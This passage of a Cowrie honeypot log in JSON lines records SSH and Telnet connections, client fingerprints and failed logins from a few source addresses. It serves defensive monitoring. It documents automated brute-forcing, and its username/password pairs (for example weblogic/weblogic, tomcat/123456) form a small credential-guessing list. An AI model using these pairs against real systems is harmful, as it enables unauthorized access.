0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:20.351128Z","src_ip":"45.153.34.112","session":"927363877c15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:20.762165Z","src_ip":"45.153.34.112","session":"927363877c15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":53995,"dst_ip":"10.17.0.5","dst_port":22,"session":"618fab3a28db","protocol":"ssh","message":"New connection: 2.57.121.112:53995 (10.17.0.5:22) [session: 618fab3a28db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:21.440706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:21.449027Z","src_ip":"2.57.121.112","session":"618fab3a28db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:21.555051Z","src_ip":"2.57.121.112","session":"618fab3a28db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:21.847398Z","src_ip":"45.153.34.112","session":"927363877c15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56070,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc40fa34735e","protocol":"telnet","message":"New connection: 192.119.13.58:56070 (10.17.0.5:23) [session: fc40fa34735e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:22.002050Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"2kasH6Zq","message":"login attempt [admin/2kasH6Zq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:22.051345Z","src_ip":"2.57.121.112","session":"618fab3a28db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.59330987930298,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:22.201041Z","src_ip":"192.119.13.58","session":"d9cd7ff44a52","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"291280","message":"login attempt [admin/291280] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:23.161226Z","src_ip":"2.57.121.112","session":"618fab3a28db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":58572,"dst_ip":"10.17.0.5","dst_port":22,"session":"bca2ae9009ed","protocol":"ssh","message":"New connection: 45.153.34.112:58572 (10.17.0.5:22) [session: bca2ae9009ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:23.830895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:23.836759Z","src_ip":"45.153.34.112","session":"bca2ae9009ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:23.921901Z","src_ip":"45.153.34.112","session":"bca2ae9009ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic","message":"login attempt [weblogic/weblogic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:24.255021Z","src_ip":"45.153.34.112","session":"bca2ae9009ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"29111975","message":"login attempt [admin/29111975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:24.270195Z","src_ip":"2.57.121.112","session":"618fab3a28db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:25.341002Z","src_ip":"45.153.34.112","session":"bca2ae9009ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"29111971","message":"login attempt [admin/29111971] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:25.381609Z","src_ip":"2.57.121.112","session":"618fab3a28db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.85458469390869,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:25.894386Z","src_ip":"192.119.13.58","session":"3c87dfdd3aa4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"291088","message":"login attempt [admin/291088] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:26.490274Z","src_ip":"2.57.121.112","session":"618fab3a28db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":58594,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e0d84a1f9d9","protocol":"ssh","message":"New connection: 45.153.34.112:58594 (10.17.0.5:22) [session: 3e0d84a1f9d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:27.484356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:27.489772Z","src_ip":"45.153.34.112","session":"3e0d84a1f9d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:27.572505Z","src_ip":"45.153.34.112","session":"3e0d84a1f9d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:27.598279Z","src_ip":"2.57.121.112","session":"618fab3a28db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user1234","message":"login attempt [user/user1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:27.826550Z","src_ip":"45.153.34.112","session":"3e0d84a1f9d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56262,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7f725081ed6","protocol":"telnet","message":"New connection: 192.119.13.58:56262 (10.17.0.5:23) [session: a7f725081ed6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:28.618410Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:28.915046Z","src_ip":"45.153.34.112","session":"3e0d84a1f9d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":41778,"dst_ip":"10.17.0.5","dst_port":22,"session":"98d70543a672","protocol":"ssh","message":"New connection: 45.153.34.112:41778 (10.17.0.5:22) [session: 98d70543a672]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:31.117007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:31.121136Z","src_ip":"45.153.34.112","session":"98d70543a672","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:31.202792Z","src_ip":"45.153.34.112","session":"98d70543a672","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"g","password":"g","message":"login attempt [g/g] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:31.481471Z","src_ip":"45.153.34.112","session":"98d70543a672","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:32.565673Z","src_ip":"45.153.34.112","session":"98d70543a672","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":41782,"dst_ip":"10.17.0.5","dst_port":22,"session":"94887fafdcce","protocol":"ssh","message":"New connection: 45.153.34.112:41782 (10.17.0.5:22) [session: 94887fafdcce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:34.716536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:34.726543Z","src_ip":"45.153.34.112","session":"94887fafdcce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:34.810643Z","src_ip":"45.153.34.112","session":"94887fafdcce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"123456","message":"login attempt [tomcat/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:35.059237Z","src_ip":"45.153.34.112","session":"94887fafdcce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:36.145496Z","src_ip":"45.153.34.112","session":"94887fafdcce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":41784,"dst_ip":"10.17.0.5","dst_port":22,"session":"80ca154e3102","protocol":"ssh","message":"New connection: 45.153.34.112:41784 (10.17.0.5:22) [session: 80ca154e3102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:38.244967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:38.249335Z","src_ip":"45.153.34.112","session":"80ca154e3102","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:38.331166Z","src_ip":"45.153.34.112","session":"80ca154e3102","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1","message":"login attempt [user/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:38.576900Z","src_ip":"45.153.34.112","session":"80ca154e3102","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.708956241607666,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:39.640635Z","src_ip":"192.119.13.58","session":"f18b0c588883","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:39.669586Z","src_ip":"45.153.34.112","session":"80ca154e3102","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":60564,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b2298d883b6","protocol":"ssh","message":"New connection: 45.153.34.112:60564 (10.17.0.5:22) [session: 2b2298d883b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:41.725823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:41.731123Z","src_ip":"45.153.34.112","session":"2b2298d883b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:41.815179Z","src_ip":"45.153.34.112","session":"2b2298d883b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu-server","password":"123456","message":"login attempt [ubuntu-server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:42.066305Z","src_ip":"45.153.34.112","session":"2b2298d883b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:43.229412Z","src_ip":"45.153.34.112","session":"2b2298d883b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":60570,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5f8e5637858","protocol":"ssh","message":"New connection: 45.153.34.112:60570 (10.17.0.5:22) [session: a5f8e5637858]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:45.161547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:45.166848Z","src_ip":"45.153.34.112","session":"a5f8e5637858","protocol":"ssh"}
